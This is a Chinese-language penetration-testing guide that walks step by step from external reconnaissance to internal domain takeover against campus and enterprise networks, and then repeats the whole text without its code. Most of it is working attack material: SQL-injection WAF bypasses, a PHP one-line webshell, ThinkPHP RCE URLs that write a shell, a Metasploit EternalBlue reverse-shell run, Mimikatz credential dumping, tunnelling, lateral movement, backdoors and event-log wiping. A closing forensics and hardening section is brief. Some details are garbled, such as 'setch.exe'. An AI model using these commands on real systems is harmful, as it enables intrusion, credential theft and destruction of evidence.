从0到1通过外网渗入内网的一种思路及溯源分析
字数 1925 2025-11-13 12:10:27

外网到内网渗透测试完整指南

环境拓扑与目标说明

  • 攻击起点:公网环境
  • 目标网络:XX校园网(含Web服务及WAF防护) + XX企业网(无Web服务,内网隔离)
  • 最终目标:渗透进入内网,获取域控制权及敏感数据

第一阶段:信息收集

1.1 CDN检测与真实IP获取

检测方法

  • 使用ping命令检测域名解析
  • 观察DNS记录类型:使用CNAME记录通常表明存在CDN
  • 通过历史DNS记录查询真实IP

绕过CDN技术

  • 查询域名历史解析记录
  • 使用全球DNS节点查询差异
  • 子域名爆破获取真实IP

1.2 端口与服务扫描

NMAP扫描命令示例

nmap -sS -sV -O -p- 目标IP

关键发现

  • 开放端口:80(HTTP)、445(SMB)、8080(HTTP)
  • 操作系统:Windows Server 2008 R2
  • 潜在漏洞:MS10-054、MS10-061、MS17-101、CVE-2009-3103

1.3 Web应用信息收集

技术手段

  • 子域名爆破工具使用
  • WHOIS信息查询
  • 敏感目录扫描(使用nextassets等工具)
  • CMS指纹识别(ThinkPHP V5.0.0)

第二阶段:Web应用渗透

2.1 目录遍历漏洞利用

  • 发现可下载源代码文件的目录遍历漏洞
  • 通过代码审计发现逻辑漏洞和危险函数

2.2 SQL注入攻击

注入检测

原始URLhttp://target/page?id=1
测试语句:and 1=1 / and 1=2

注入步骤

  1. 判断注入点:真值假值测试
  2. 确定字段数order by n 逐步测试
  3. 联合查询union select 1,2,3,...
  4. 获取数据:数据库名→表名→列名→数据

WAF绕过技术

  • 大小写混合:UnIoN SeLeCt
  • 双写关键字:ununionion selselectect
  • 注释符分割:/**/union/**/select

2.3 后台入侵与WebShell部署

获取凭证

  • 通过SQL注入获取管理员用户名和密码
  • 发现明文存储的安全漏洞

WebShell上传

  • 寻找文件上传功能点
  • 上传一句话木马:<?php @eval($_POST['cmd']);?>
  • 通过数据库备份功能将后缀改为.php

第三阶段:系统权限提升

3.1 命令执行漏洞利用

ThinkPHP框架漏洞

http://target:8080/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写入WebShell

http://target:8080/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>

3.2 永恒之蓝漏洞利用(MS17-010)

Metasploit操作流程

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 目标IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 攻击机IP
exploit

3.3 密码提取与远程桌面

Mimikatz使用

# Meterpreter中执行
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

启用远程桌面

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

第四阶段:内网横向移动

4.1 内网信息收集

基础命令

systeminfo          # 系统信息
net localgroup      # 本地组信息  
net group /domain   # 域组信息
net view /domain    # 域信息

4.2 代理与隧道建立

SOCKS5代理设置

# Kali端
socks5proxy -s rcsocks -l 1080 -e 26254

# 目标机端
socks5proxywin -s rssocks -d Kali_IP -e 26254

Proxychains配置

# /etc/proxychains.conf
socks5 127.0.0.1 1080

4.3 域渗透技术

网络扫描

proxychains nmap -sT -Pn 10.22.233.0/24

横向移动方法

  1. IPC连接建立:net use \\目标IP\IPC$ /u:"Administrator" "密码"
  2. Psexec攻击:jump psexec_psh 目标IP
  3. 凭证传递攻击

第五阶段:持久化与痕迹清除

5.1 后门技术

映像劫持

  • 注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  • 添加恶意程序路径

Shift后门

  • 替换系统setch.exe程序
  • 在登录界面连续按Shift键触发

计划任务

schtasks /create /tn "任务名" /tr "程序路径" /sc daily /st 时间

5.2 日志清除

Windows日志清除

# Meterpreter中
run event_manager -c

# 手动清除
wevtutil cl system
wevtutil cl application  
wevtutil cl security

IIS日志路径

  • IIS7+:C:\inetpub\logs\LogFiles
  • 定期清理访问记录

第六阶段:溯源分析

6.1 应急响应检查点

实时监测

  • 异常网络连接
  • 可疑进程创建
  • 系统日志异常条目

取证分析

  • 文件时间戳分析(按修改时间排序)
  • 注册表键值异常修改
  • 计划任务异常项

6.2 日志分析重点

Windows事件日志

  • 事件ID 4624/4625:登录成功/失败
  • 事件ID 4672:特殊权限分配
  • 事件ID 4720:用户账户创建

IIS日志分析

  • 异常HTTP状态码(如大量404尝试)
  • 可疑User-Agent
  • 异常请求参数(SQL注入特征)

总结与防护建议

防护措施

  1. 网络层:严格防火墙策略,限制不必要的端口开放
  2. 系统层:及时安装安全更新,禁用过时协议(如SMBv1)
  3. 应用层:输入验证、参数化查询、最小权限原则
  4. 监控层:实时安全监控、日志审计、异常行为检测

安全开发规范

  • 避免明文存储敏感信息
  • 实施严格的输入过滤机制
  • 定期安全代码审计
  • 使用预编译语句防止SQL注入

本指南详细记录了从外网到内网的完整渗透流程,强调了每个阶段的关键技术和注意事项,为安全防护提供了全面的参考依据。

外网到内网渗透测试完整指南 环境拓扑与目标说明 攻击起点 :公网环境 目标网络 :XX校园网(含Web服务及WAF防护) + XX企业网(无Web服务,内网隔离) 最终目标 :渗透进入内网,获取域控制权及敏感数据 第一阶段:信息收集 1.1 CDN检测与真实IP获取 检测方法 : 使用 ping 命令检测域名解析 观察DNS记录类型:使用CNAME记录通常表明存在CDN 通过历史DNS记录查询真实IP 绕过CDN技术 : 查询域名历史解析记录 使用全球DNS节点查询差异 子域名爆破获取真实IP 1.2 端口与服务扫描 NMAP扫描命令示例 : 关键发现 : 开放端口:80(HTTP)、445(SMB)、8080(HTTP) 操作系统:Windows Server 2008 R2 潜在漏洞:MS10-054、MS10-061、MS17-101、CVE-2009-3103 1.3 Web应用信息收集 技术手段 : 子域名爆破工具使用 WHOIS信息查询 敏感目录扫描(使用nextassets等工具) CMS指纹识别(ThinkPHP V5.0.0) 第二阶段:Web应用渗透 2.1 目录遍历漏洞利用 发现可下载源代码文件的目录遍历漏洞 通过代码审计发现逻辑漏洞和危险函数 2.2 SQL注入攻击 注入检测 : 注入步骤 : 判断注入点 :真值假值测试 确定字段数 : order by n 逐步测试 联合查询 : union select 1,2,3,... 获取数据 :数据库名→表名→列名→数据 WAF绕过技术 : 大小写混合: UnIoN SeLeCt 双写关键字: ununionion selselectect 注释符分割: /**/union/**/select 2.3 后台入侵与WebShell部署 获取凭证 : 通过SQL注入获取管理员用户名和密码 发现明文存储的安全漏洞 WebShell上传 : 寻找文件上传功能点 上传一句话木马: <?php @eval($_POST['cmd']);?> 通过数据库备份功能将后缀改为.php 第三阶段:系统权限提升 3.1 命令执行漏洞利用 ThinkPHP框架漏洞 : 写入WebShell : 3.2 永恒之蓝漏洞利用(MS17-010) Metasploit操作流程 : 3.3 密码提取与远程桌面 Mimikatz使用 : 启用远程桌面 : 第四阶段:内网横向移动 4.1 内网信息收集 基础命令 : 4.2 代理与隧道建立 SOCKS5代理设置 : Proxychains配置 : 4.3 域渗透技术 网络扫描 : 横向移动方法 : IPC连接建立: net use \\目标IP\IPC$ /u:"Administrator" "密码" Psexec攻击: jump psexec_psh 目标IP 凭证传递攻击 第五阶段:持久化与痕迹清除 5.1 后门技术 映像劫持 : 注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 添加恶意程序路径 Shift后门 : 替换系统 setch.exe 程序 在登录界面连续按Shift键触发 计划任务 : 5.2 日志清除 Windows日志清除 : IIS日志路径 : IIS7+: C:\inetpub\logs\LogFiles 定期清理访问记录 第六阶段:溯源分析 6.1 应急响应检查点 实时监测 : 异常网络连接 可疑进程创建 系统日志异常条目 取证分析 : 文件时间戳分析(按修改时间排序) 注册表键值异常修改 计划任务异常项 6.2 日志分析重点 Windows事件日志 : 事件ID 4624/4625:登录成功/失败 事件ID 4672:特殊权限分配 事件ID 4720:用户账户创建 IIS日志分析 : 异常HTTP状态码(如大量404尝试) 可疑User-Agent 异常请求参数(SQL注入特征) 总结与防护建议 防护措施 网络层 :严格防火墙策略,限制不必要的端口开放 系统层 :及时安装安全更新,禁用过时协议(如SMBv1) 应用层 :输入验证、参数化查询、最小权限原则 监控层 :实时安全监控、日志审计、异常行为检测 安全开发规范 避免明文存储敏感信息 实施严格的输入过滤机制 定期安全代码审计 使用预编译语句防止SQL注入 本指南详细记录了从外网到内网的完整渗透流程,强调了每个阶段的关键技术和注意事项,为安全防护提供了全面的参考依据。